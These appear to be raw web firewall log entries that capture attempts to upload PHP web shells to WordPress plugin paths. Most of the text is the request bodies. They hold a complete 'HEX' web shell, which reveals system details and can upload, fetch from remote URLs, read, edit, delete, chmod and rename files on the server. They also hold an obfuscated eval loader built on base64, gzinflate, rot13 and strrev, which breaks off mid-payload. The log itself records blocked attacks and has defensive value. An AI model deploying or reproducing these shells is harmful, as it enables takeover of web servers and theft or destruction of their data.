name=\"target\"\r\n\r\nl1_Lw\r\n--a3b5da69a212d9c71c7bc64c85060110\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nmk_file_folder_manager\r\n--a3b5da69a212d9c71c7bc64c85060110\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n7631104034\r\n--a3b5da69a212d9c71c7bc64c85060110\r\nContent-Disposition: form-data; name=\"networkhref\"\r\n\r\n\r\n--a3b5da69a212d9c71c7bc64c85060110\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"fvlwo.php\"\r\nContent-Type: multipart\/form-data\r\n\r\n<!DOCTYPE html>\n\n<html lang=\"en\">\n\n<head>\n\n <meta charset=\"UTF-8\">\n\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n <title>HEX<\/title>\n\n <link href=\"https:\/\/fonts.googleapis.com\/css2?family=JetBrains+Mono:wght@400;500&display=swap\" rel=\"stylesheet\">\n\n <style>\n\n * {\n\n margin: 0;\n\n padding: 0;\n\n box-sizing: border-box;\n\n }\n\n\n\n body {\n\n font-family: 'JetBrains Mono', monospace;\n\n background: #0d1117;\n\n color: #c9d1d9;\n\n line-height: 1.6;\n\n font-size: 14px;\n\n min-height: 100vh;\n\n padding: 20px;\n\n }\n\n\n\n .container {\n\n max-width: 1000px;\n\n margin: 0 auto;\n\n }\n\n\n\n \/* Header *\/\n\n .header {\n\n background: #161b22;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n padding: 16px;\n\n margin-bottom: 16px;\n\n }\n\n\n\n .title {\n\n font-size: 18px;\n\n font-weight: 500;\n\n color: #58a6ff;\n\n margin-bottom: 12px;\n\n }\n\n\n\n .system-info {\n\n display: grid;\n\n grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));\n\n gap: 8px;\n\n font-size: 12px;\n\n }\n\n\n\n .info-line {\n\n padding: 4px 0;\n\n }\n\n\n\n .info-label {\n\n color: #7d8590;\n\n display: inline-block;\n\n width: 120px;\n\n }\n\n\n\n .info-value {\n\n color: #f0883e;\n\n }\n\n\n\n \/* Breadcrumb *\/\n\n .breadcrumb {\n\n background: #0d1117;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n padding: 12px;\n\n margin-bottom: 16px;\n\n font-size: 13px;\n\n }\n\n\n\n .breadcrumb a {\n\n color: #58a6ff;\n\n text-decoration: none;\n\n }\n\n\n\n .breadcrumb a:hover {\n\n text-decoration: underline;\n\n }\n\n\n\n \/* Upload Section *\/\n\n .upload-section {\n\n background: #161b22;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n padding: 16px;\n\n margin-bottom: 16px;\n\n }\n\n\n\n .section-title {\n\n font-size: 14px;\n\n font-weight: 500;\n\n color: #f0f6fc;\n\n margin-bottom: 12px;\n\n }\n\n\n\n .form-row {\n\n margin-bottom: 12px;\n\n }\n\n\n\n .radio-group {\n\n display: flex;\n\n gap: 20px;\n\n margin-bottom: 12px;\n\n }\n\n\n\n .radio-item {\n\n display: flex;\n\n align-items: center;\n\n gap: 6px;\n\n font-size: 13px;\n\n }\n\n\n\n .radio-item input[type=\"radio\"] {\n\n margin: 0;\n\n }\n\n\n\n input[type=\"file\"],\n\n input[type=\"text\"],\n\n select,\n\n textarea {\n\n background: #0d1117;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n color: #c9d1d9;\n\n padding: 8px 12px;\n\n font-family: inherit;\n\n font-size: 13px;\n\n }\n\n\n\n input[type=\"file\"]:focus,\n\n input[type=\"text\"]:focus,\n\n select:focus,\n\n textarea:focus {\n\n outline: none;\n\n border-color: #58a6ff;\n\n }\n\n\n\n .btn {\n\n background: #21262d;\n\n border: 1px solid #30363d;\n\n border-radius: 6px;\n\n color: #f0f6fc;\n\n padding: 6px 12px;\n\n font-family: inherit;\n\n font-size: 13px;\n\n cursor: pointer;\n\n transition: all 0.2s;\n\n }\n\n\n\n .btn:hover {\n\n background: #30363d;\n\n border-color: #8b949e;\n\n }\n\n\n\n .btn-primary {\n\n background: #238636;\n\n border-color: #238636;\n\n }\n\n\n\n .btn-primary:hover {\n\n background: #2ea043;\n\n }\n\n\n\n .btn-danger {\n\n background: #da3633;\n\n border-color: #da3633;\n\n }\n\n\n\n .btn-danger:hover {\n\n background: #f85149;\n\n }\n\n\n\n .upload-row {\n\n display: flex;\n\n gap: 8px;\n\n align-items: end;\n\n }\n\n\n\n .upload-row input[type=\"file\"],\n\n .upload-row input[type=\"text\"] {\n\n flex: 1;\n\n }\n\n\n\n .upload-row input[type=\"text\"]:last-of-type {\n\n max-width: 150px;\n\n }\n\n\n\n \/* Messages *\/\n\n .message {\n\n padding: 12px;\n\n border-radius: 6px;\n\n margin: 12px 0;\n\n font-size: 13px;\n\n }\n\n\n\n .message-success {\n\n background: rgba(35, 134, 54, 0.15);\n\n border: 1px solid #238636;\n\n color: #56d364;\n\n }\n\n\n\n .message-error {\n\n background: rgba(218, 54, 51, 0.15);\n\n border: 1px solid #da3633;\n\n color: #f85149;\n\n }\n\n\n\n \/* Table *\/\n\n .file-table {\n\n background: #0d1117;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n overflow: hidden;\n\n margin-bottom: 20px;\n\n }\n\n\n\n table {\n\n width: 100%;\n\n border-collapse: collapse;\n\n }\n\n\n\n th {\n\n background: #161b22;\n\n padding: 12px;\n\n text-align: left;\n\n font-weight: 500;\n\n font-size: 13px;\n\n color: #f0f6fc;\n\n border-bottom: 1px solid #21262d;\n\n }\n\n\n\n td {\n\n padding: 8px 12px;\n\n border-bottom: 1px solid #21262d;\n\n font-size: 13px;\n\n }\n\n\n\n tr:hover {\n\n background: #161b22;\n\n }\n\n\n\n .file-link {\n\n color: #c9d1d9;\n\n text-decoration: none;\n\n }\n\n\n\n .file-link:hover {\n\n color: #58a6ff;\n\n }\n\n\n\n .dir-link {\n\n color: #58a6ff;\n\n }\n\n\n\n .size {\n\n color: #7d8590;\n\n text-align: right;\n\n }\n\n\n\n .permissions {\n\n font-family: 'JetBrains Mono', monospace;\n\n font-size: 12px;\n\n color: #7d8590;\n\n }\n\n\n\n .writable { color: #56d364; }\n\n .readonly { color: #f85149; }\n\n\n\n \/* Action Form *\/\n\n .action-form {\n\n display: flex;\n\n gap: 4px;\n\n align-items: center;\n\n }\n\n\n\n .action-form select {\n\n font-size: 12px;\n\n padding: 4px 8px;\n\n min-width: 80px;\n\n }\n\n\n\n .action-form .btn {\n\n padding: 4px 8px;\n\n font-size: 12px;\n\n }\n\n\n\n \/* Edit Form *\/\n\n .edit-form {\n\n background: #161b22;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n padding: 16px;\n\n margin: 16px 0;\n\n }\n\n\n\n .edit-form textarea {\n\n width: 100%;\n\n min-height: 400px;\n\n resize: vertical;\n\n }\n\n\n\n .edit-form .form-row {\n\n margin-top: 12px;\n\n }\n\n\n\n \/* File Preview *\/\n\n .file-preview {\n\n background: #0d1117;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n padding: 16px;\n\n margin: 16px 0;\n\n }\n\n\n\n .file-preview pre {\n\n background: #161b22;\n\n border: 1px solid #21262d;\n\n border-radius: 6px;\n\n padding: 16px;\n\n overflow-x: auto;\n\n font-size: 12px;\n\n line-height: 1.45;\n\n }\n\n\n\n \/* Footer *\/\n\n .footer {\n\n text-align: center;\n\n margin-top: 40px;\n\n padding: 20px;\n\n }\n\n\n\n .telegram-link {\n\n display: inline-flex;\n\n align-items: center;\n\n gap: 8px;\n\n background: #0088cc;\n\n color: white;\n\n text-decoration: none;\n\n padding: 10px 20px;\n\n border-radius: 6px;\n\n font-size: 14px;\n\n font-weight: 500;\n\n transition: background 0.2s;\n\n }\n\n\n\n .telegram-link:hover {\n\n background: #0099dd;\n\n }\n\n\n\n \/* Responsive *\/\n\n @media (max-width: 768px) {\n\n .container { padding: 10px; }\n\n .system-info { grid-template-columns: 1fr; }\n\n .upload-row { flex-direction: column; }\n\n .upload-row input[type=\"text\"]:last-of-type { max-width: none; }\n\n table { font-size: 12px; }\n\n th, td { padding: 6px 8px; }\n\n }\n\n <\/style>\n\n<\/head>\n\n<body>\n\n <div class=\"container\">\n\n <div class=\"header\">\n\n <div class=\"title\">HEX<\/div>\n\n \n\n <?php\n\n set_time_limit(0);\n\n error_reporting(0);\n\n\n\n $disfunc = @ini_get(\"disable_functions\");\n\n if (empty($disfunc)) {\n\n $disf = \"<span class='writable'>NONE<\/span>\";\n\n } else {\n\n $disf = \"<span class='readonly'>\".$disfunc.\"<\/span>\";\n\n }\n\n\n\n function author() {\n\n echo '<div class=\"footer\">\n\n <a href=\"https:\/\/t.me\/HEX80\" class=\"telegram-link\" target=\"_blank\">\n\n <span>@<\/span>\n\n <span>Telegram<\/span>\n\n <\/a>\n\n <\/div>';\n\n exit();\n\n }\n\n\n\n function cekdir() {\n\n if (isset($_GET['path'])) {\n\n $lokasi = $_GET['path'];\n\n } else {\n\n $lokasi = getcwd();\n\n }\n\n if (is_writable($lokasi)) {\n\n return \"<span class='writable'>writable<\/span>\";\n\n } else {\n\n return \"<span class='readonly'>readonly<\/span>\";\n\n }\n\n }\n\n\n\n function cekroot() {\n\n if (is_writable($_SERVER['DOCUMENT_ROOT'])) {\n\n return \"<span class='writable'>writable<\/span>\";\n\n } else {\n\n return \"<span class='readonly'>readonly<\/span>\";\n\n }\n\n }\n\n\n\n function xrmdir($dir) {\n\n $items = scandir($dir);\n\n foreach ($items as $item) {\n\n if ($item === '.' || $item === '..') {\n\n continue;\n\n }\n\n $path = $dir.'\/'.$item;\n\n if (is_dir($path)) {\n\n xrmdir($path);\n\n } else {\n\n unlink($path);\n\n }\n\n }\n\n rmdir($dir);\n\n }\n\n\n\n function green($text) {\n\n echo \"<div class='message message-success'>\".$text.\"<\/div>\";\n\n }\n\n\n\n function red($text) {\n\n echo \"<div class='message message-error'>\".$text.\"<\/div>\";\n\n }\n\n ?>\n\n\n\n <div class=\"system-info\">\n\n <div class=\"info-line\">\n\n <span class=\"info-label\">Server:<\/span>\n\n <span class=\"info-value\"><?php echo $_SERVER['SERVER_SOFTWARE']; ?><\/span>\n\n <\/div>\n\n <div class=\"info-line\">\n\n <span class=\"info-label\">System:<\/span>\n\n <span class=\"info-value\"><?php echo php_uname(); ?><\/span>\n\n <\/div>\n\n <div class=\"info-line\">\n\n <span class=\"info-label\">User:<\/span>\n\n <span class=\"info-value\"><?php echo @get_current_user().\" (\".@getmyuid().\")\"; ?><\/span>\n\n <\/div>\n\n <div class=\"info-line\">\n\n <span class=\"info-label\">PHP:<\/span>\n\n <span class=\"info-value\"><?php echo @phpversion(); ?><\/span>\n\n <\/div>\n\n <div class=\"info-line\" style=\"grid-column: 1 \/ -1;\">\n\n <span class=\"info-label\">Disabled:<\/span>\n\n <span class=\"info-value\"><?php echo $disf; ?><\/span>\n\n <\/div>\n\n <\/div>\n\n <\/div>\n\n\n\n <div class=\"breadcrumb\">\n\n <?php\n\n foreach($_POST as $key => $value){\n\n $_POST[$key] = stripslashes($value);\n\n }\n\n\n\n if(isset($_GET['path'])){\n\n $lokasi = $_GET['path'];\n\n $lokdua = $_GET['path'];\n\n } else {\n\n $lokasi = getcwd();\n\n $lokdua = getcwd();\n\n }\n\n\n\n $lokasi = str_replace('\\\\','\/',$lokasi);\n\n $lokasis = explode('\/',$lokasi);\n\n $lokasinya = @scandir($lokasi);\n\n\n\n echo \"$ pwd: \";\n\n foreach($lokasis as $id => $lok){\n\n if($lok == '' && $id == 0){\n\n $a = true;\n\n echo '<a href=\"?path=\/\">\/<\/a>';\n\n continue;\n\n }\n\n if($lok == '') continue;\n\n echo '<a href=\"?path=';\n\n for($i=0;$i<=$id;$i++){\n\n echo \"$lokasis[$i]\";\n\n if($i != $id) echo \"\/\";\n\n } \n\n echo '\">'.$lok.'<\/a>\/';\n\n }\n\n ?>\n\n <\/div>\n\n <div class=\"upload-section\">\n\n <div class=\"section-title\">Upload Files<\/div>\n\n\n\n <?php\n\n if (isset($_POST['upwkwk'])) {\n\n if (isset($_POST['berkasnya'])) {\n\n if ($_POST['dirnya'] == \"2\") {\n\n $lokasi = $_SERVER['DOCUMENT_ROOT'];\n\n }\n\n $data = @file_put_contents($lokasi.\"\/\".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));\n\n if (file_exists($lokasi.\"\/\".$_FILES['berkas']['name'])) {\n\n green(\"File uploaded: \".$lokasi.\"\/\".$_FILES['berkas']['name']);\n\n } else {\n\n red(\"Upload failed\");\n\n }\n\n } elseif (isset($_POST['linknya'])) {\n\n if (empty($_POST['namalink'])) {\n\n red(\"Filename cannot be empty\");\n\n } else {\n\n if ($_POST['dirnya'] == \"2\") {\n\n $lokasi = $_SERVER['DOCUMENT_ROOT'];\n\n }\n\n $data = @file_put_contents($lokasi.\"\/\".$_POST['namalink'], @file_get_contents($_POST['darilink']));\n\n if (file_exists($lokasi.\"\/\".$_POST['namalink'])) {\n\n green(\"File uploaded: \".$lokasi.\"\/\".$_POST['namalink']);\n\n } else {\n\n red(\"Upload failed\");\n\n }\n\n }\n\n }\n\n }\n\n ?>\n\n\n\n <form enctype=\"multipart\/form-data\" method=\"post\">\n\n <div class=\"form-row\">\n\n <div class=\"radio-group\">\n\n <label class=\"radio-item\">\n\n <input type=\"radio\" value=\"1\" name=\"dirnya\" checked>\n\n <span>current [<?php echo cekdir(); ?>]<\/span>\n\n <\/label>\n\n <label class=\"radio-item\">\n\n <input type=\"radio\" value=\"2\" name=\"dirnya\">\n\n <span>docroot [<?php echo cekroot(); ?>]<\/span>\n\n <\/label>\n\n <\/div>\n\n <\/div>\n\n\n\n <input type=\"hidden\" name=\"upwkwk\" value=\"aplod\">\n\n \n\n <div class=\"form-row\">\n\n <div class=\"upload-row\">\n\n <input type=\"file\" name=\"berkas\">\n\n <button type=\"submit\" name=\"berkasnya\" class=\"btn btn-primary\">Upload<\/button>\n\n <\/div>\n\n <\/div>\n\n\n\n <div class=\"form-row\">\n\n <div class=\"upload-row\">\n\n <input type=\"text\" name=\"darilink\" placeholder=\"https:\/\/example.com\/file.txt\">\n\n <input type=\"text\" name=\"namalink\" placeholder=\"filename\">\n\n <button type=\"submit\" name=\"linknya\" class=\"btn btn-primary\">Fetch<\/button>\n\n <\/div>\n\n <\/div>\n\n <\/form>\n\n <\/div>\n\n\n\n <?php\n\n if (isset($_GET['fileloc'])) {\n\n echo \"<div class='file-preview'>\";\n\n echo \"<div class='section-title'>File: \".$_GET['fileloc'].\"<\/div>\";\n\n echo \"<pre>\".htmlspecialchars(file_get_contents($_GET['fileloc'])).\"<\/pre>\";\n\n echo \"<\/div>\";\n\n author();\n\n } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"hapus\") {\n\n if (is_dir($_POST['path'])) {\n\n xrmdir($_POST['path']);\n\n if (file_exists($_POST['path'])) {\n\n red(\"Failed to delete directory\");\n\n } else {\n\n green(\"Directory deleted\");\n\n }\n\n } elseif (is_file($_POST['path'])) {\n\n @unlink($_POST['path']);\n\n if (file_exists($_POST['path'])) {\n\n red(\"Failed to delete file\");\n\n } else {\n\n green(\"File deleted\");\n\n }\n\n }\n\n } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"ubahmod\") {\n\n echo \"<div class='edit-form'>\";\n\n echo \"<div class='section-title'>chmod \".$_POST['path'].\"<\/div>\";\n\n echo '<form method=\"post\">\n\n <div class=\"form-row\">\n\n <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'\" placeholder=\"0644\" \/>\n\n <input type=\"hidden\" name=\"path\" value=\"'.$_POST['path'].'\">\n\n <input type=\"hidden\" name=\"pilih\" value=\"ubahmod\">\n\n <button type=\"submit\" name=\"chm0d\" class=\"btn btn-primary\">Apply<\/button>\n\n <\/div>\n\n <\/form>';\n\n if (isset($_POST['chm0d'])) {\n\n $cm = @chmod($_POST['path'], $_POST['perm']);\n\n if ($cm == true) {\n\n green(\"Permission changed\");\n\n } else {\n\n red(\"Permission change failed\");\n\n }\n\n }\n\n echo \"<\/div>\";\n\n } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"gantinama\") {\n\n if (isset($_POST['gantin'])) {\n\n $ren = @rename($_POST['path'], $_POST['newname']);\n\n if ($ren == true) {\n\n green(\"Renamed successfully\");\n\n } else {\n\n red(\"Rename failed\");\n\n }\n\n }\n\n if (empty($_POST['name'])) {\n\n $namaawal = $_POST['newname'];\n\n } else {\n\n $namawal = $_POST['name'];\n\n }\n\n echo \"<div class='edit-form'>\";\n\n echo \"<div class='section-title'>mv \".$_POST['path'].\"<\/div>\";\n\n echo '<form method=\"post\">\n\n <div class=\"form-row\">\n\n <input name=\"newname\" type=\"text\" value=\"'.$namaawal.'\" placeholder=\"new name\" \/>\n\n <input type=\"hidden\" name=\"path\" value=\"'.$_POST['path'].'\">\n\n <input type=\"hidden\" name=\"pilih\" value=\"gantinama\">\n\n <button type=\"submit\" name=\"gantin\" class=\"btn btn-primary\">Rename<\/button>\n\n <\/div>\n\n <\/form>';\n\n echo \"<\/div>\";\n\n } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"edit\") {\n\n if (isset($_POST['gasedit'])) {\n\n $edit = @file_put_contents($_POST['path'], $_POST['src']);\n\n if ($edit == true) {\n\n green(\"File saved\");\n\n } else {\n\n red(\"Save failed\");\n\n }\n\n }\n\n echo \"<div class='edit-form'>\";\n\n echo \"<div class='section-title'>nano \".$_POST['path'].\"<\/div>\";\n\n echo '<form method=\"post\">\n\n <textarea name=\"src\">'.htmlspecialchars(file_get_contents($_POST['path'])).'<\/textarea>\n\n <div class=\"form-row\">\n\n <input type=\"hidden\" name=\"path\" value=\"'.$_POST['path'].'\">\n\n <input type=\"hidden\" name=\"pilih\" value=\"edit\">\n\n <button type=\"submit\" name=\"gasedit\" class=\"btn btn-primary\">Save<\/button>\n\n <\/div>\n\n <\/form>';\n\n echo \"<\/div>\";\n\n }\n\n ?>\n\n <div class=\"file-table\">\n\n <table>\n\n <thead>\n\n <tr>\n\n <th>Name<\/th>\n\n <th style=\"width: 80px;\">Size<\/th>\n\n <th style=\"width: 100px;\">Permissions<\/th>\n\n <th style=\"width: 120px;\">Actions<\/th>\n\n <\/tr>\n\n <\/thead>\n\n <tbody>\n\n <?php\n\n foreach($lokasinya as $dir){\n\n if(!is_dir($lokasi.\"\/\".$dir) || $dir == '.' || $dir == '..') continue;\n\n echo \"<tr>\n\n <td>\n\n <a href=\\\"?path=\".$lokasi.\"\/\".$dir.\"\\\" class='file-link dir-link'>\n\n ð \".$dir.\"\n\n <\/a>\n\n <\/td>\n\n <td class='size'>--<\/td>\n\n <td class='permissions \";\n\n if(is_writable($lokasi.\"\/\".$dir)) echo 'writable';\n\n elseif(!is_readable($lokasi.\"\/\".$dir)) echo 'readonly';\n\n echo \"'>\".statusnya($lokasi.\"\/\".$dir).\"<\/td>\n\n <td>\n\n <form method='POST' action='?pilihan&path=$lokasi' class='action-form'>\n\n <select name='pilih'>\n\n <option value=''>--<\/option>\n\n <option value='hapus'>rm<\/option>\n\n <option value='ubahmod'>chmod<\/option>\n\n <option value='gantinama'>mv<\/option>\n\n <\/select>\n\n <input type='hidden' name='type' value='dir'>\n\n <input type='hidden' name='name' value='$dir'>\n\n <input type='hidden' name='path' value='$lokasi\/$dir'>\n\n <button type='submit' class='btn'>go<\/button>\n\n <\/form>\n\n <\/td>\n\n <\/tr>\";\n\n }\n\n\n\n foreach($lokasinya as $file) {\n\n if(!is_file(\"$lokasi\/$file\")) continue;\n\n $size = filesize(\"$lokasi\/$file\")\/1024;\n\n $size = round($size,3);\n\n if($size >= 1024){\n\n $size = round($size\/1024,2).'M';\n\n } else {\n\n $size = $size.'K';\n\n }\n\n\n\n echo \"<tr>\n\n <td>\n\n <a href=\\\"?fileloc=$lokasi\/$file&path=$lokasi\\\" class='file-link'>\n\n ð $file\n\n <\/a>\n\n <\/td>\n\n <td class='size'>\".$size.\"<\/td>\n\n <td class='permissions \";\n\n if(is_writable(\"$lokasi\/$file\")) echo 'writable';\n\n elseif(!is_readable(\"$lokasi\/$file\")) echo 'readonly';\n\n echo \"'>\".statusnya(\"$lokasi\/$file\").\"<\/td>\n\n <td>\n\n <form method='post' action='?pilihan&path=$lokasi' class='action-form'>\n\n <select name='pilih'>\n\n <option value=''>--<\/option>\n\n <option value='hapus'>rm<\/option>\n\n <option value='ubahmod'>chmod<\/option>\n\n <option value='gantinama'>mv<\/option>\n\n <option value='edit'>nano<\/option>\n\n <\/select>\n\n <input type='hidden' name='type' value='file'>\n\n <input type='hidden' name='name' value='$file'>\n\n <input type='hidden' name='path' value='$lokasi\/$file'>\n\n <button type='submit' class='btn'>go<\/button>\n\n <\/form>\n\n <\/td>\n\n <\/tr>\";\n\n }\n\n ?>\n\n <\/tbody>\n\n <\/table>\n\n <\/div>\n\n\n\n <?php\n\n author();\n\n\n\n function statusnya($file){\n\n $statusnya = fileperms($file);\n\n\n\n if (($statusnya & 0xC000) == 0xC000) {\n\n $ingfo = 's';\n\n } elseif (($statusnya & 0xA000) == 0xA000) {\n\n $ingfo = 'l';\n\n } elseif (($statusnya & 0x8000) == 0x8000) {\n\n $ingfo = '-';\n\n } elseif (($statusnya & 0x6000) == 0x6000) {\n\n $ingfo = 'b';\n\n } elseif (($statusnya & 0x4000) == 0x4000) {\n\n $ingfo = 'd';\n\n } elseif (($statusnya & 0x2000) == 0x2000) {\n\n $ingfo = 'c';\n\n } elseif (($statusnya & 0x1000) == 0x1000) {\n\n $ingfo = 'p';\n\n } else {\n\n $ingfo = 'u';\n\n }\n\n\n\n $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');\n\n $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');\n\n $ingfo .= (($statusnya & 0x0040) ?\n\n (($statusnya & 0x0800) ? 's' : 'x' ) :\n\n (($statusnya & 0x0800) ? 'S' : '-'));\n\n\n\n $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');\n\n $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');\n\n $ingfo .= (($statusnya & 0x0008) ?\n\n (($statusnya & 0x0400) ? 's' : 'x' ) :\n\n (($statusnya & 0x0400) ? 'S' : '-'));\n\n\n\n $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');\n\n $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');\n\n $ingfo .= (($statusnya & 0x0001) ?\n\n (($statusnya & 0x0200) ? 't' : 'x' ) :\n\n (($statusnya & 0x0200) ? 'T' : '-'));\n\n\n\n return $ingfo;\n\n }\n\n ?>\n\n <\/div>\n\n<\/body>\n\n<\/html>\r\n--a3b5da69a212d9c71c7bc64c85060110--\r\n"]
["2026-04-13 04:42:34","104.219.42.67","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\ncontent-type:multipart\/form-data; boundary=39c510f220accf7b13d8cff8486b0b92\nhost:dewenlabels.com\ncontent-length:20152\nconnection:keep-alive\naccept:*\/*\n\n--39c510f220accf7b13d8cff8486b0b92\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--39c510f220accf7b13d8cff8486b0b92\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--39c510f220accf7b13d8cff8486b0b92\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--39c510f220accf7b13d8cff8486b0b92\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--39c510f220accf7b13d8cff8486b0b92\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--39c510f220accf7b13d8cff8486b0b92\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovavugrqc.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php $DesQW = 'base'.'64'.'_'.'decode'; $LNuWx = 'gzinflat'.'e'; $sJhXG = 'st'.'r'.'_rot'.'13'; $Shgrt = 's'.'trrev'; echo '<br> '; \/*** ecf18c7da6efc3961853a42ff883eaa9e74fb0c2 **\/ ini_set('error_log', NULL); error_reporting(0); ini_set('display_errors', 0); eval($Shgrt($sJhXG($LNuWx($DesQW('rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf\/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un\/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy\/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2\/k6cLDxGlvpPVPy\/tfcP9zH4SGRm7mDoYWzjy6HP\/WO9+\/oHl02f\/N+V91fHk4OIXkvGT1Sf9J6D+UZPu\/ZTR0s2e2dnKlpDI3dKOk\/RvByvg\/iP3fo\/4JTPm3W3sLM75\/2v+owPL\/nO5N9S\/PPzT+lwa+vjx\/Ecz+2YgvD\/M\/SvDRuP3t0oGUj\/4fXm8nM0+nf9j\/aVIx8vG5kVI6u\/FQ2ZHS6jL\/Oy0PBztjPoe\/tP\/TR+tGSvuX0l+i\/6Jm9xfGkJT3L4yTp5urFQ\/jX0QeXaZ\/0\/wfFXmo\/plt6OT595bP8G\/2vx79pwT\/6sn7r1T\/nY2ZuZmbtZP+PwOI\/jKH+Q9FOekIae3+gx4FEJDKY6oz5RPo9x7TEIxzmHJQF5EAQlPBdb\/ACml28yNWVAupROytgxHBLW5lmRtN9QObEYxJBjMuT+fYmwki3MIXbntmPwOX4DmKkmZaKxrwKd+LALK3lEDxn3PsMm8yvXXiX1RdPKQPsQTekOBhGfnVwjCqiZJfKl6rpwKYyuK1XGWfkrYW4g2DAtLKtSshZXDibqlqOysE5klrY2Rga3iTyd5Riyw\/lH7Jy3PKmUyU6DKa3eQrHgtwFFS\/JPpWUgCK5LQLxyL064JvM96+k\/SHN0z6rMV6lcSznEbqyoIjnikbF3XTN7tV1m1q7GMOmEssB7ovA8oZ4wNiCCaWrh0cklvESic4dHJTmMNLjXZEBZfyTgu2+N9TRuJ9HEXoqdZ+HVJ6U0VP\/GQUoMc2s5PdYKUt0M+gAKTuIFhcZyEgkKG0oqflzadOXPYgWfXGTT+o0L08GcuZxKCP8SEdkpXbDNeb4GWQiu+pNXfiW3ecKPqqHB2WLOO7bPK2Ma1HtnyoE585HCjGxHYJW0TAJ29cM+s+bgihob4tCA1bL9raEY8i4E\/u7jo33yLbHvbfxBoQ1b6FxE8DAONGAofCEMi1sk\/PZ41E643oqZnPQ83i7m6GXYnaZx+Fxs+YjWQocaT8yGTShFEHBrpBdyUNFkLBZr2euK8NTsjss1Igq7jO3ECQkC1v946w\/H04ZDV4RB+4fx7Xno+r+2Xuzdl+92HRBudMPHdyT+iX7JWnDUrrC4DO7BDz48ZWlmyhqEoNQ5tCJ5t04ELkiTgf8JQkSjoLWshgHZK\/jVeXil3DfhFZmMgAABjAuzqv7GQByTID8G7CW5wwhBlwcGPM4jNJb9YIC\/pJQF\/1GjGkEfwfdmkM832JvyBUKj4bboY2yiTXjcPc1dI0a5xZGfOWRd2cIKqibSUMsCUT8L3ZLHqI9hjol5xP3QLGNUDxH93Z8hHO5NJ+Aa\/+zpKH4+ShQlQgKdN9XTXp6AOaUpBcVGuZgSNnscpmW1eSZYVI9Qv0N92Gh7wk0PAK+iV5jHpsLMmyLqmmnhCXxeFoIe3sVOF2MbVBoqT4imB3T3t7+aEo3vwKnVGN3HXe1Lo18EAZjk8whgM8cA0AqHktJhS4L7mmH1QUbcVI9vbE0nTDUD2gMgPZthRM8XX1FqnEBZ7zW305kT97szpZSb4NlvzkVjMtH+h02Sn2UZw72vuifZ7CCIBsTlgg7\/IJqMHZE2nsQlV4pcIvgzzg6vYV1atYwnKx5kRdAz+lakrbqdanev+d8LZHxyGTSJWhiDgBxPGzC+XNucP6Vm85VyEOhcfE8xJqf72+7fa0OXyqJDGk2ty+yMQK\/XNwGQAA2p5whdHiicFI7YyEqCj\/MO7wiOZyFYVoOLtks3d8jRYqsfEOqxdqj44oZO7FJBr5iAlSbtwFcRItkektGMS9JDnNsgydnE2XhHJ00+EBBY\/+wxAOCllx0kTL3in3A4X+QIeu0w8ubcPiwrM26TP\/trOiYGnMX5FL9HenlNgePZZCTeRUw9hFWYWeia5LUxqVgwSsgR4OS85DtJnRYUkXBUCx5pittdZmS\/oCxUHH6dytA2xTuoFxaCATwfZ3DIy88s5I9vpPr7d5MZzCxAalFVS36Pw\/QOMD5dwrTjT0ryqSnON8Niv8xa7QT\/jqcvSSiN1tRVkIO4jIPTdFPTsjNPeRZbp+\/BUaD1s\/euxC2ojtSxgLIx0ynGKqLWqa2TGuj7ilsLbLq7Wbf4UV4Pe2YgqnBQaotophVz8lDdIKRtiQlCeK0KPfrwqQcJmVPIzOpNF2ffzpXx0pZnuZLrWbO2l+6KjT3BUcyALqW2vCgn4r+15nb5RrDXhsSCK7ajX81cMXiZXA47tQPUHbx8JqtUxdfchyg8st9UZ1RjqSBgAkBf0gqO\/EnxmnT63QNlsrV\/G7M7cNyHUj